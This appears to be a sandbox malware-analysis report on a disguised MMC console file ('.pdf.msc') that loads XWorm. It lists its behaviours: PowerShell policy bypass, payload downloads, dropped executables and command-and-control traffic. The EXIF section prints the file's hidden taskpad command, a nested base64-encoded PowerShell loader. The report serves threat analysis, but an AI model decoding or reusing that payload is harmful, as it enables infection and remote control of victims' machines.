File name:

3.PL_PIEC001-L20250227-GLOBAL_ATOP.pdf.msc

Full analysis: https://app.any.run/tasks/166bb71d-0998-46cf-844b-3cd263bef4bd
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: May 09, 2025, 12:28:39
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
loader
remote
xworm
susp-powershell
Indicators:
MIME: text/xml
File info: XML 1.0 document, ASCII text, with very long lines (7436), with CRLF line terminators
MD5:

4659DB3279657D4EC38473F4F25CB04F

SHA1:

8DC3BCCBA79C8DDC681099B3924B12E355A29FD0

SHA256:

E9B9E6269037EEBA8B99D416E952FFAB3B0C514C0E5FAF2043A8496F39EC3C86

SSDEEP:

384:jeHUIR5qrkq25/NRFp9jYisCqgaqao8BI92vFGOWPnQB+CVFpH:2NRQhqbFpJYi+gapa928YzVFpH

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 1096)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 5360)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 5360)

    • XWORM has been detected (SURICATA)

      • RegSvcs.exe (PID: 1056)

  • SUSPICIOUS

    • Reads Microsoft Outlook installation path

      • mmc.exe (PID: 5156)

    • BASE64 encoded PowerShell command has been detected

      • mmc.exe (PID: 5156)
      • powershell.exe (PID: 6620)
      • powershell.exe (PID: 5640)

    • Reads Internet Explorer settings

      • mmc.exe (PID: 5156)

    • Starts POWERSHELL.EXE for commands execution

      • mmc.exe (PID: 5156)
      • powershell.exe (PID: 6620)
      • powershell.exe (PID: 5640)
      • cmd.exe (PID: 1096)

    • Base64-obfuscated command line is found

      • mmc.exe (PID: 5156)
      • powershell.exe (PID: 5640)
      • powershell.exe (PID: 6620)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1852)
      • csc.exe (PID: 4068)
      • eworvolt.exe (PID: 3896)
      • eworvolt.exe (PID: 5984)
      • eworvolt.exe (PID: 8180)

    • Application launched itself

      • powershell.exe (PID: 6620)
      • powershell.exe (PID: 5640)
      • eworvolt.exe (PID: 3896)
      • eworvolt.exe (PID: 8180)
      • eworvolt.exe (PID: 5984)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 1852)
      • powershell.exe (PID: 5360)

    • Process requests binary or script from the Internet

      • powershell.exe (PID: 1852)
      • powershell.exe (PID: 5360)

    • Connects to the server without a host name

      • powershell.exe (PID: 1852)
      • powershell.exe (PID: 5360)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 4068)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 1852)
      • powershell.exe (PID: 5360)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1852)

    • The process executes Powershell scripts

      • cmd.exe (PID: 1096)

    • The executable file from the user directory is run by the CMD process

      • UnRAR.exe (PID: 8092)

    • Process drops legitimate windows executable

      • eworvolt.exe (PID: 3896)
      • eworvolt.exe (PID: 5984)
      • eworvolt.exe (PID: 8180)

    • The process drops C-runtime libraries

      • eworvolt.exe (PID: 3896)
      • eworvolt.exe (PID: 5984)
      • eworvolt.exe (PID: 8180)

    • Process drops python dynamic module

      • eworvolt.exe (PID: 3896)
      • eworvolt.exe (PID: 5984)
      • eworvolt.exe (PID: 8180)

    • Connects to unusual port

      • RegSvcs.exe (PID: 1056)

    • Contacting a server suspected of hosting an CnC

      • RegSvcs.exe (PID: 1056)

  • INFO

    • Checks proxy server information

      • mmc.exe (PID: 5156)
      • powershell.exe (PID: 1852)
      • powershell.exe (PID: 5360)
      • slui.exe (PID: 8032)

    • Reads security settings of Internet Explorer

      • mmc.exe (PID: 5156)

    • The sample compiled with english language support

      • powershell.exe (PID: 1852)
      • powershell.exe (PID: 5360)
      • eworvolt.exe (PID: 3896)
      • eworvolt.exe (PID: 5984)
      • eworvolt.exe (PID: 8180)

    • The executable file from the user directory is run by the Powershell process

      • UnRAR.exe (PID: 2268)
      • eworvolt.exe (PID: 3896)
      • eworvolt.exe (PID: 5984)
      • eworvolt.exe (PID: 8180)

    • Disables trace logs

      • powershell.exe (PID: 1852)
      • powershell.exe (PID: 5360)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 1852)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 1852)

    • Checks supported languages

      • cvtres.exe (PID: 6592)
      • csc.exe (PID: 4068)
      • UnRAR.exe (PID: 2268)
      • UnRAR.exe (PID: 8092)
      • eworvolt.exe (PID: 3896)
      • eworvolt.exe (PID: 5984)
      • eworvolt.exe (PID: 8180)
      • eworvolt.exe (PID: 736)
      • eworvolt.exe (PID: 8176)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 4068)
      • eworvolt.exe (PID: 736)

    • Create files in a temporary directory

      • csc.exe (PID: 4068)
      • cvtres.exe (PID: 6592)
      • UnRAR.exe (PID: 2268)
      • UnRAR.exe (PID: 8092)
      • eworvolt.exe (PID: 3896)
      • eworvolt.exe (PID: 5984)
      • eworvolt.exe (PID: 8180)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 1852)

    • Application launched itself

      • Acrobat.exe (PID: 7332)
      • AcroCEF.exe (PID: 7532)

    • Found Base64 encoded file access via PowerShell (YARA)

      • powershell.exe (PID: 5640)
      • powershell.exe (PID: 1852)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • powershell.exe (PID: 1852)

    • Found Base64 encoded network access via PowerShell (YARA)

      • powershell.exe (PID: 1852)

    • Reads the software policy settings

      • slui.exe (PID: 8032)

    • Found Base64 encoded access to processes via PowerShell (YARA)

      • powershell.exe (PID: 1852)

    • Reads the computer name

      • eworvolt.exe (PID: 3896)
      • eworvolt.exe (PID: 8180)
      • eworvolt.exe (PID: 5984)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xml | Generic XML (ASCII) (100)

EXIF

XMP

MMC_ConsoleFileConsoleVersion: 3
MMC_ConsoleFileProgramMode: UserMDI
MMC_ConsoleFileConsoleFileID: {ED5E8CA7-2720-4C88-97D1-C2E969A03748}
MMC_ConsoleFileFrameStateShowStatusBar:
MMC_ConsoleFileFrameStatePreventViewCustomization:
MMC_ConsoleFileFrameStateWindowPlacementShowCommand: SW_SHOWNORMAL
MMC_ConsoleFileFrameStateWindowPlacementPointName: MinPosition
MMC_ConsoleFileFrameStateWindowPlacementPointX: -1
MMC_ConsoleFileFrameStateWindowPlacementPointY: -1
MMC_ConsoleFileFrameStateWindowPlacementRectangleName: NormalPosition
MMC_ConsoleFileFrameStateWindowPlacementRectangleTop: 65
MMC_ConsoleFileFrameStateWindowPlacementRectangleBottom: 545
MMC_ConsoleFileFrameStateWindowPlacementRectangleLeft: 174
MMC_ConsoleFileFrameStateWindowPlacementRectangleRight: 1214
MMC_ConsoleFileViewsViewId: 5
MMC_ConsoleFileViewsViewScopePaneWidth: 301
MMC_ConsoleFileViewsViewActionsPaneWidth: -1
MMC_ConsoleFileViewsViewBookMarkName: RootNode
MMC_ConsoleFileViewsViewBookMarkNodeID: 1
MMC_ConsoleFileViewsViewWindowPlacementWpfRestoretomaximized:
MMC_ConsoleFileViewsViewWindowPlacementShowCommand: SW_SHOWMAXIMIZED
MMC_ConsoleFileViewsViewWindowPlacementPointName: MinPosition
MMC_ConsoleFileViewsViewWindowPlacementPointX: -1
MMC_ConsoleFileViewsViewWindowPlacementPointY: -1
MMC_ConsoleFileViewsViewWindowPlacementRectangleName: NormalPosition
MMC_ConsoleFileViewsViewWindowPlacementRectangleTop: 130
MMC_ConsoleFileViewsViewWindowPlacementRectangleBottom: 561
MMC_ConsoleFileViewsViewWindowPlacementRectangleLeft: 130
MMC_ConsoleFileViewsViewWindowPlacementRectangleRight: 1350
MMC_ConsoleFileViewsViewViewOptionsViewMode: Report
MMC_ConsoleFileViewsViewViewOptionsNoStdMenus:
MMC_ConsoleFileViewsViewViewOptionsNoStdButtons:
MMC_ConsoleFileViewsViewViewOptionsNoSnapinMenus:
MMC_ConsoleFileViewsViewViewOptionsNoSnapinButtons:
MMC_ConsoleFileViewsViewViewOptionsNoStatusBar:
MMC_ConsoleFileViewsViewViewOptionsNoTaskpadTabs:
MMC_ConsoleFileViewsViewViewOptionsDescriptionBarVisible: -
MMC_ConsoleFileViewsViewViewOptionsDefaultColumn0Width: 200
MMC_ConsoleFileViewsViewViewOptionsDefaultColumn1Width: -
MMC_ConsoleFileVisualAttributesStringName: ApplicationTitle
MMC_ConsoleFileVisualAttributesStringId: 16
MMC_ConsoleFileVisualAttributesIconIndex: 11
MMC_ConsoleFileVisualAttributesIconFile: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
MMC_ConsoleFileVisualAttributesIconImageName: Large
MMC_ConsoleFileVisualAttributesIconImageBinaryRefIndex: -
MMC_ConsoleFileFavoritesFavoriteType: Group
MMC_ConsoleFileFavoritesFavoriteStringName: Name
MMC_ConsoleFileFavoritesFavoriteStringId: 1
MMC_ConsoleFileFavoritesFavoriteFavorites: -
MMC_ConsoleFileScopeTreeSnapinCacheSnapinClsid: {C96401CC-0E17-11D3-885B-00C04F72C717}
MMC_ConsoleFileScopeTreeSnapinCacheSnapinAllExtensionsEnabled:
MMC_ConsoleFileScopeTreeNodesNodeId: 1
MMC_ConsoleFileScopeTreeNodesNodeImageIdx: -
MMC_ConsoleFileScopeTreeNodesNodeClsid: {C96401CC-0E17-11D3-885B-00C04F72C717}
MMC_ConsoleFileScopeTreeNodesNodePreload:
MMC_ConsoleFileScopeTreeNodesNodeNodes: -
MMC_ConsoleFileScopeTreeNodesNodeStringName: Name
MMC_ConsoleFileScopeTreeNodesNodeStringId: 15
MMC_ConsoleFileScopeTreeNodesNodeBitmapsBinaryDataName: Small
MMC_ConsoleFileScopeTreeNodesNodeBitmapsBinaryDataBinaryRefIndex: 3
MMC_ConsoleFileScopeTreeNodesNodeComponentDatasComponentDataGuidName: Snapin
MMC_ConsoleFileScopeTreeNodesNodeComponentDatasComponentDataGuid: {C96401CC-0E17-11D3-885B-00C04F72C717}
MMC_ConsoleFileScopeTreeNodesNodeComponentDatasComponentDataStreamBinaryRefIndex: 5
MMC_ConsoleFileScopeTreeNodesNodeComponents: -
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadListSize: Medium
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadIsNodeSpecific: -
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadReplacesDefaultView:
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadNoResults:
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadNodeType: {C96401CE-0E17-11D3-885B-00C04F72C717}
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadId: {F32FD7F6-D23A-4E76-B0E0-16530C7666CA}
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadStringName: Name
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadStringId: 16
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadStringValue: -
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadTasksTaskType: CommandLine
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadTasksTaskCommand: powershell
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadTasksTaskStringName: Name
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadTasksTaskStringId: 16
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadTasksTaskStringValue: -
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadTasksTaskSymbolImageName: Small
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadTasksTaskSymbolImageBinaryRefIndex: 6
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadTasksTaskCommandLineDirectory: -
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadTasksTaskCommandLineWindowState: Minimized
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadTasksTaskCommandLineParams: -w H -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AdwAgAEgAIAAtAGUAQwAgACIAYwBBAEIAdgBBAEgAYwBBAFoAUQBCAHkAQQBIAE0AQQBhAEEAQgBsAEEARwB3AEEAYgBBAEEAZwBBAEMAMABBAGQAdwBBAGcAQQBFAGcAQQBJAEEAQQB0AEEARwBVAEEAUQB3AEEAZwBBAEMASQBBAFkAUQBCAFIAQQBFAEkAQQBNAHcAQgBCAEEARQBnAEEAUwBRAEIAQgBBAEUAawBBAFEAUQBCAEIAQQBIAFEAQQBRAFEAQgBHAEEARgBVAEEAUQBRAEIAagBBAEcAYwBBAFEAZwBCAHcAQQBFAEUAQQBRAHcAQgBCAEEARQBFAEEAUwBRAEIAbgBBAEUASQBBAGIAdwBCAEIAQQBFAGcAQQBVAFEAQgBCAEEARwBRAEEAUQBRAEIAQwBBAEgAYwBBAFEAUQBCAEUAQQBHADgAQQBRAFEAQgBNAEEASABjAEEAUQBRAEIAMgBBAEUARQBBAFIAQQBCAEYAQQBFAEUAQQBUAHcAQgBCAEEARQBFAEEATQBRAEIAQgBBAEUATQBBAE4AQQBCAEIAQQBFADAAQQBaAHcAQgBCAEEASABvAEEAUQBRAEIARQBBAEYAVQBBAFEAUQBCAE0AQQBHAGMAQQBRAFEAQgA0AEEARQBFAEEAUgBBAEIASgBBAEUARQBBAFQAdwBCAEIAQQBFAEUAQQBkAFEAQgBCAEEARQBRAEEAUgBRAEIAQgBBAEUAMABBAFUAUQBCAEIAQQBEAEEAQQBRAFEAQgBEAEEARABnAEEAUQBRAEIAaABBAEcAYwBBAFEAZwBCADYAQQBFAEUAQQBRAHcAQQA0AEEARQBFAEEAVABRAEIAMwBBAEUASQBBAGQAdwBCAEIAQQBFAGMAQQBkAHcAQgBCAEEARwBNAEEAUQBRAEIAQwBBAEgAQQBBAFEAUQBCAEgAQQBGAFUAQQBRAFEAQgBNAEEARwBjAEEAUQBnAEIANQBBAEUARQBBAFIAdwBCAEYAQQBFAEUAQQBZAHcAQgBuAEEARQBFAEEAYQBRAEIAQgBBAEUATQBBAFEAUQBCAEIAQQBFAHcAQQBVAFEAQgBDAEEARgBBAEEAUQBRAEIASQBBAEYAVQBBAFEAUQBCAGsAQQBFAEUAQQBRAGcAQgBIAEEARQBFAEEAUgB3AEIAcgBBAEUARQBBAFkAZwBCAEIAQQBFAEkAQQBiAEEAQgBCAEEARQBNAEEAUQBRAEIAQgBBAEUAawBBAFoAdwBCAEIAQQBHAHMAQQBRAFEAQgBIAEEARgBVAEEAUQBRAEIAaQBBAEcAYwBBAFEAZwBBAHkAQQBFAEUAQQBSAEEAQgB2AEEARQBFAEEAVgBnAEIAQgBBAEUASQBBAFIAZwBCAEIAQQBFAFUAQQBNAEEAQgBCAEEARgBVAEEAUQBRAEIAQwBBAEcATQBBAFEAUQBCAEUAQQBFADAAQQBRAFEAQgBqAEEARQBFAEEAUQBnAEIAegBBAEUARQBBAFMAQQBCAEIAQQBFAEUAQQBZAFEAQgBSAEEARQBJAEEAYgBBAEIAQgBBAEUATQBBAE4AQQBCAEIAQQBHAE0AQQBaAHcAQgBDAEEARwBnAEEAUQBRAEIASQBBAEUAawBBAFEAUQBCAEoAQQBHAGMAQQBRAFEAQQAzAEEARQBFAEEAUgB3AEIAcgBBAEUARQBBAFoAQQBCADMAQQBFAEkAQQBlAFEAQgBCAEEARQBNAEEAUQBRAEIAQgBBAEUAdwBBAFUAUQBCAEMAQQBGAFkAQQBRAFEAQgBJAEEARQBrAEEAUQBRAEIAaABBAEYARQBBAFEAUQBCAG4AQQBFAEUAQQBRAHcAQgBKAEEARQBFAEEAWQBRAEIAQgBBAEUASQBBAE0AQQBCAEIAQQBFAGcAQQBVAFEAQgBCAEEARwBNAEEAUQBRAEIAQgBBAEQAWQBBAFEAUQBCAEQAQQBEAGcAQQBRAFEAQgBNAEEASABjAEEAUQBRAEIANABBAEUARQBBAFIAQQBCAG4AQQBFAEUAQQBUAGcAQgBSAEEARQBFAEEAZABRAEIAQgBBAEUAUQBBAFMAUQBCAEIAQQBFADAAQQBkAHcAQgBCAEEARABFAEEAUQBRAEIARABBAEQAUQBBAFEAUQBCAE4AQQBGAEUAQQBRAFEAQgA1AEEARQBFAEEAUgBBAEIAbgBBAEUARQBBAFQAQQBCAG4AQQBFAEUAQQBlAEEAQgBCAEEARQBRAEEAUgBRAEIAQgBBAEUANABBAFEAUQBCAEIAQQBIAFkAQQBRAFEAQgBIAEEARQAwAEEAUQBRAEIAagBBAEgAYwBBAFEAZwBCADYAQQBFAEUAQQBRAHcAQQA0AEEARQBFAEEAVgBnAEIAUgBBAEUASQBBAGQAUQBCAEIAQQBFAFkAQQBTAFEAQgBCAEEARgBFAEEAVQBRAEIAQwBBAEYATQBBAFEAUQBCAEQAQQBEAFEAQQBRAFEAQgBhAEEARgBFAEEAUQBnAEEAMABBAEUARQBBAFIAdwBCAFYAQQBFAEUAQQBTAFEAQgBuAEEARQBFAEEAWgB3AEIAQgBBAEUATQBBAE0AQQBCAEIAQQBGAFEAQQBkAHcAQgBDAEEARABFAEEAUQBRAEIASQBBAEYARQBBAFEAUQBCAFMAQQBHAGMAQQBRAGcAQgB3AEEARQBFAEEAUgB3AEIAMwBBAEUARQBBAFcAZwBCAFIAQQBFAEUAQQBaAHcAQgBCAEEARQBNAEEAUwBRAEIAQgBBAEUAbwBBAFEAUQBCAEMAQQBHAHcAQQBRAFEAQgBIAEEARABRAEEAUQBRAEIAawBBAEcAYwBBAFEAUQBBADIAQQBFAEUAQQBSAGcAQgBSAEEARQBFAEEAVQBnAEIAUgBBAEUASQBBAFQAZwBCAEIAQQBFAFkAQQBRAFEAQgBCAEEARgBnAEEAUQBRAEIAQwBBAEYAWQBBAFEAUQBCAEgAQQBEAFEAQQBRAFEAQgBWAEEARwBjAEEAUQBnAEIAQwBBAEUARQBBAFIAZwBCAEoAQQBFAEUAQQBUAEEAQgBuAEEARQBJAEEAYgBBAEIAQgBBAEUAZwBBAFoAdwBCAEIAQQBGAG8AQQBVAFEAQgBCAEEARwBrAEEAUQBRAEIARQBBAEgATQBBAFEAUQBCAEoAQQBFAEUAQQBRAGcAQgBVAEEARQBFAEEAUwBBAEIAUgBBAEUARQBBAFcAUQBCAFIAQQBFAEkAQQBlAFEAQgBCAEEARQBnAEEAVQBRAEIAQgBBAEUAdwBBAFUAUQBCAEMAQQBGAEUAQQBRAFEAQgBJAEEARQBrAEEAUQBRAEIAaQBBAEgAYwBBAFEAZwBCAHEAQQBFAEUAQQBSAHcAQgBWAEEARQBFAEEAWQB3AEIAMwBBAEUASQBBAGUAZwBCAEIAQQBFAE0AQQBRAFEAQgBCAEEARQB3AEEAVQBRAEIAQwBBAEUAYwBBAFEAUQBCAEgAQQBHAHMAQQBRAFEAQgBpAEEARQBFAEEAUQBnAEIAcwBBAEUARQBBAFIAZwBCAEIAQQBFAEUAQQBXAFEAQgBSAEEARQBJAEEATQBBAEIAQgBBAEUAYwBBAFoAdwBCAEIAQQBFAGsAQQBRAFEAQgBCAEEARwBrAEEAUQBRAEIARABBAEYARQBBAFEAUQBCAGEAQQBGAEUAQQBRAGcAQgAxAEEARQBFAEEAUwBBAEIAWgBBAEUARQBBAFQAdwBCAG4AQQBFAEkAQQBWAFEAQgBCAEEARQBVAEEAVgBRAEIAQgBBAEYAUQBBAFUAUQBCAEMAQQBGAEUAQQBRAFEAQgBHAEEASABjAEEAUQBRAEIAVwBBAEYARQBBAFEAZwBCADEAQQBFAEUAQQBSAGcAQgBKAEEARQBFAEEAVQBRAEIAUgBBAEUASQBBAFUAdwBCAEIAQQBFAE0AQQBOAEEAQgBCAEEARgBvAEEAVQBRAEIAQwBBAEQAUQBBAFEAUQBCAEgAQQBGAFUAQQBRAFEAQgBKAEEARwBjAEEAUQBRAEIAbgBBAEUARQBBAFEAdwBBAHcAQQBFAEUAQQBVAFEAQgBSAEEARQBJAEEAZQBRAEIAQgBBAEUAYwBBAFkAdwBCAEIAQQBHAFEAQQBVAFEAQgBDAEEASABRAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAGkAQQBHAGMAQQBRAGcAQQB3AEEARQBFAEEAUgBRAEIAMwBBAEUARQBBAFkAUQBCAFIAQQBFAEkAQQBlAGcAQgBCAEEARQBnAEEAVQBRAEIAQgBBAEUAawBBAFEAUQBCAEIAQQBHAGsAQQBRAFEAQgBJAEEARwBjAEEAUQBRAEIASgBBAEcAYwBBAFEAUQBCAHoAQQBFAEUAQQBRAHcAQgBKAEEARQBFAEEAVABBAEIAUgBBAEUASQBBAGQAdwBCAEIAQQBFAGMAQQBUAFEAQgBCAEEARwBRAEEAUQBRAEIAQwBBAEgASQBBAFEAUQBCAEgAQQBFAFUAQQBRAFEAQgBSAEEARgBFAEEAUQBRAEEAeQBBAEUARQBBAFIAdwBCAEYAQQBFAEUAQQBZAGcAQgBCAEEARQBJAEEAVwBBAEIAQgBBAEUAVQBBAFkAdwBCAEIAQQBFAGsAQQBaAHcAQgBCAEEASABNAEEAUQBRAEIARABBAEUAawBBAFEAUQBCAE0AQQBGAEUAQQBRAGcAQgAyAEEARQBFAEEAUQB3AEIAegBBAEUARQBBAFMAUQBCAG4AQQBFAEUAQQBjAHcAQgBCAEEARQBNAEEAUwBRAEIAQgBBAEUAbwBBAFEAUQBCAEMAQQBHAHcAQQBRAFEAQgBIAEEARABRAEEAUQBRAEIAawBBAEcAYwBBAFEAUQBBADIAQQBFAEUAQQBSAGcAQgBSAEEARQBFAEEAVQBnAEIAUgBBAEUASQBBAFQAZwBCAEIAQQBFAFkAQQBRAFEAQgBCAEEARgBnAEEAUQBRAEIAQgBBAEgAbwBBAFEAUQBCAEkAQQBFAEUAQQBRAFEAQgBpAEEARQBFAEEAUQBnAEIAMwBBAEUARQBBAFIAdwBCAHIAQQBFAEUAQQBXAGcAQgBSAEEARQBFAEEAZABRAEIAQgBBAEUAZwBBAFMAUQBCAEIAQQBGAGsAQQBVAFEAQgBDAEEASABrAEEAUQBRAEIARABBAEUAawBBAFEAUQBCAE0AQQBFAEUAQQBRAFEAQgBwAEEARQBFAEEAUQB3AEIAUgBBAEUARQBBAFcAZwBCAFIAQQBFAEkAQQBkAFEAQgBCAEEARQBnAEEAVwBRAEIAQgBBAEUAOABBAFoAdwBCAEMAQQBGAFUAQQBRAFEAQgBGAEEARgBVAEEAUQBRAEIAVQBBAEYARQBBAFEAZwBCAFIAQQBFAEUAQQBRAHcAQgBKAEEARQBFAEEAVAB3AEIAMwBBAEUARQBBAFoAdwBCAEIAQQBFAFkAQQBUAFEAQgBCAEEARwBRAEEAUQBRAEIAQwBBAEcAZwBBAFEAUQBCAEkAQQBFAGsAQQBRAFEAQgBrAEEARQBFAEEAUQBRAEIAMABBAEUARQBBAFIAZwBCAE4AQQBFAEUAQQBZAGcAQgBCAEEARQBJAEEAYgBBAEIAQgBBAEUAYwBBAFYAUQBCAEIAQQBHAE0AQQBRAFEAQgBCAEEARwBjAEEAUQBRAEIARABBAEQAQQBBAFEAUQBCAFYAQQBIAGMAQQBRAGcAQgBzAEEARQBFAEEAUgB3AEIATgBBAEUARQBBAFkAZwBCADMAQQBFAEkAQQBkAFEAQgBCAEEARQBjAEEAVQBRAEIAQgBBAEcATQBBAGQAdwBCAEIAQQBHAGMAQQBRAFEAQgBFAEEARgBFAEEAUQBRAEIAUABBAEgAYwBBAFEAUQBCAG4AQQBFAEUAQQBRAHcAQgBSAEEARQBFAEEAVwBnAEIAQgBBAEUASQBBAGUAUQBCAEIAQQBFAGMAQQBWAFEAQgBCAEEARgBvAEEAWgB3AEIAQgBBAEQAawBBAFEAUQBCAEcAQQBIAE0AQQBRAFEAQgBWAEEASABjAEEAUQBnAEEAMQBBAEUARQBBAFMAQQBCAE4AQQBFAEUAQQBaAEEAQgBCAEEARQBJAEEAYgBBAEIAQgBBAEUAYwBBAE0AQQBCAEIAQQBFAHcAQQBaAHcAQgBDAEEARQBvAEEAUQBRAEIARgBBAEQAZwBBAFEAUQBCAE0AQQBHAGMAQQBRAGcAQgBIAEEARQBFAEEAUgB3AEIAcgBBAEUARQBBAFkAZwBCAEIAQQBFAEkAQQBiAEEAQgBCAEEARQBZAEEATQBBAEIAQgBBAEUAOABBAFoAdwBCAEIAQQBEAFkAQQBRAFEAQgBHAEEARQBrAEEAUQBRAEIAYQBBAEYARQBBAFEAZwBCAG8AQQBFAEUAQQBSAHcAQgBSAEEARQBFAEEAVQBRAEIAUgBBAEUASQBBAGMAdwBCAEIAQQBFAGMAQQBkAHcAQgBCAEEARgBZAEEAUQBRAEIAQwBBAEcAdwBBAFEAUQBCAEkAQQBHAGMAQQBRAFEAQgBrAEEARQBFAEEAUQBRAEIAdgBBAEUARQBBAFEAdwBCAFIAQQBFAEUAQQBXAGcAQgBSAEEARQBJAEEAZABRAEIAQgBBAEUAZwBBAFcAUQBCAEIAQQBFADgAQQBaAHcAQgBDAEEARgBVAEEAUQBRAEIARgBBAEYAVQBBAFEAUQBCAFUAQQBGAEUAQQBRAGcAQgBSAEEARQBFAEEAUQB3AEIAegBBAEUARQBBAFMAUQBCAG4AQQBFAEkAQQBZAHcAQgBCAEEARQBRAEEAVABRAEIAQgBBAEcATQBBAFEAUQBCAEMAQQBIAE0AQQBRAFEAQgBJAEEARQBFAEEAUQBRAEIAaABBAEYARQBBAFEAZwBCAHMAQQBFAEUAQQBRAHcAQQAwAEEARQBFAEEAWgBBAEIAQgBBAEUASQBBAE4AQQBCAEIAQQBFAGcAQQBVAFEAQgBCAEEARQBrAEEAWgB3AEIAQgBBAEgAQQBBAFEAUQBCAEUAQQBIAE0AQQBRAFEAQgBKAEEARQBFAEEAUQBnAEIAdwBBAEUARQBBAFIAdwBCAFYAQQBFAEUAQQBaAFEAQgBCAEEARQBFAEEAWgB3AEIAQgBBAEUATQBBAFUAUQBCAEIAQQBGAG8AQQBRAFEAQgBDAEEASABrAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAGEAQQBHAGMAQQBRAFEAQQA5AEEAQwBJAEEAIgA=
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadBookMarkName: TargetNode
MMC_ConsoleFileConsoleTaskpadsConsoleTaskpadBookMarkNodeID: 1
MMC_ConsoleFileViewSettingsCacheTargetViewViewID: 5
MMC_ConsoleFileViewSettingsCacheTargetViewNodeTypeGUID: {C96401CE-0E17-11D3-885B-00C04F72C717}
MMC_ConsoleFileViewSettingsCacheViewSettingsFlag_TaskPadID:
MMC_ConsoleFileViewSettingsCacheViewSettingsAge: 1
MMC_ConsoleFileViewSettingsCacheViewSettingsGuid: {F32FD7F6-D23A-4E76-B0E0-16530C7666CA}
MMC_ConsoleFileColumnSettingsCache: -
MMC_ConsoleFileStringTablesIdentifierPoolAbsoluteMin: 1
MMC_ConsoleFileStringTablesIdentifierPoolAbsoluteMax: 65535
MMC_ConsoleFileStringTablesIdentifierPoolNextAvailable: 17
MMC_ConsoleFileStringTablesStringTableGuid: {71E5B33E-1064-11D2-808F-0000F875A9CE}
MMC_ConsoleFileStringTablesStringTableStringsStringId: 1
MMC_ConsoleFileStringTablesStringTableStringsStringRefs: 1
MMC_ConsoleFileStringTablesStringTableStringsString: Favorites
MMC_ConsoleFileBinaryStorageBinaryName: CONSOLE_FILE_ICON_LARGE
MMC_ConsoleFileBinaryStorageBinary: SUwBAQEABAAEACAAIAD/////IQD//////////0JNNgAAAAAAAAA2AAAAKAAAAIAAAAAgAAAAAQAg AAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 